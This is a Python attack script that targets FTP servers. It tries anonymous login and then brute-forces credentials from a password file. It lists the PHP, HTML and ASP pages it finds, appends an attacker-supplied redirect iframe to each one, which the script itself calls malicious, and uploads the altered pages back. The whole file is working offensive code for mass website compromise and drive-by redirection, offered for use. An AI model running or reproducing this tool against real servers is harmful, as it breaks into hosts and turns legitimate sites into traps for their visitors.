# coding=UTF-8
import ftplib
import optparse
import time
def anonLogin(hostname):
    try:
        ftp = ftplib.FTP(hostname)
        ftp.login('anonymous','me@your.com')
        print('\n[*] ' + str(hostname) + ' FTP Anonymous Logon Succeeded!')
        ftp.quit()
        return True
    except Exception as e:
        print('\n[-] ' + str(hostname) + ' FTP Anonymous Logon Failed!')
        return False

def bruteLogin(hostname, passwdFile):
    pF = open(passwdFile, 'r')
    for line in pF.readlines():
        userName = line.split(':')[0]
        passWord = line.split(':')[1].strip('\r').strip('\n')
        try:
            ftp = ftplib.FTP(hostname)
            ftp.login(userName,passWord)
            print('\n[*] ' + str(hostname) + ' FTP Anonymous Logon Succeeded:' + userName +'/' + passWord)
            ftp.quit()
            return (userName,passWord)
        except Exception as e:
            pass
    print('\n[-] Could not brute force FTP credentials.')
    return (None, None)

def returnDefault(ftp):
    try:
        dirList = ftp.nlst()
    except:
        dirList = []
        print('[-] Could not list directory contents.')
        print('[-] Skipping To Next Target.')
        return
    retList = []
    for fileName in dirList:
        fn = fileName.lower()
        if '.php' in fn or '.html' in fn or '.asp' in fn:
            print('[+] Found default page:' + fileName)
            retList.append(fileName)
    return retList

def injectPage(ftp, page, redirect):
    f = open(page + '.tmp', 'w')
    ftp.retrlines('RETR ' + page, f.write)
    print('[+] Downloaded Page:'+ page)
    f.write(redirect)
    f.close()
    print('[+] Injected Malicious IFrame on: ' + page)
    ftp.storlines('STOR ' + page, open(page + '.tmp'))
    print('[+] Uploaded Injected Page: ' + page)

def attack(username, password, tgtHost, redirect):
    ftp = ftplib.FTP(tgtHost)
    ftp.login(username, password)
    defPages = returnDefault(ftp)
    for defPage in defPages:
        injectPage(ftp, defPage, redirect)

def main():
    parser = optparse.OptionParser('usage%prog -H <target host[s]> -r <redirect page> [-f <userpass file>]')
    parser.add_option('-H', dest='tgtHosts', type='string', help='specify target host')
    parser.add_option('-f', dest='passwdFile', type='string', help='specify user/password file')
    parser.add_option('-r', dest='redirect', type='string', help='specify a redirection page')
    (options, args) = parser.parse_args()
    tgtHosts = str(options.tgtHosts).split(', ')
    passwdFile = options.passwdFile
    redirect = options.redirect
    if tgtHosts == None or redirect == None:
        print(parser.usage)
        exit(0)
    for tgtHost in tgtHosts:
        username = None
        password = None
        attacked = False
        if anonLogin(tgtHost) == True:
            username = 'anonymous'
            password = 'me@your.com'
            print('[+] Using Anonymous Creds to attack')
            try:
                attack(username, password, tgtHost, redirect)
                attacked = True
            except:
                print('[-] Using Anonymous attack Failed!')
                pass
        if passwdFile != None and not attacked:
            (username, password) = bruteLogin(tgtHost, passwdFile)
            if password != None:
                print('[+] Using Creds: ' + username + '/' + password + ' to attack')
                attack(username, password, tgtHost, redirect)

if __name__ == '__main__':
    main()